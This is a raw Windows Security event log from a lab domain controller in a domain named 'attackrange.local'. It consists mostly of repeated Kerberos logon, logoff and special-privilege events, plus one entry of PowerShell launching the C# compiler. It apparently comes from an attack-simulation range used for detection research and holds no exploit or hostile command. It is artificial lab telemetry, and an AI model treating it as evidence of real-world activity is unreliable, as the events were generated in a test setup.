ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249800 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xEC41D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\y0bxbgfi.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249831 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF80A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249830 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF80A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64332 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249829 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF80A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249828 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF7A9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249827 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF7A9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64331 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249826 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF7A9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249825 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF743 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249824 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF743 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64330 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249823 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF743 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249822 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF6E2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249821 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF6E2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64329 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249820 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF6E2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249843 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF99E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249842 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF99E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64336 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249841 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF99E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249840 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF93D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249839 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF93D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64335 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249838 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF93D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249837 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF8D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249836 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF8D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64334 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249835 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF8D7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249834 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF876 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249833 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEF876 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64333 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249832 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEF876 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249855 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFB33 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249854 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xEFB33 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64340 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249853 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xEFB33 - -Privileges: 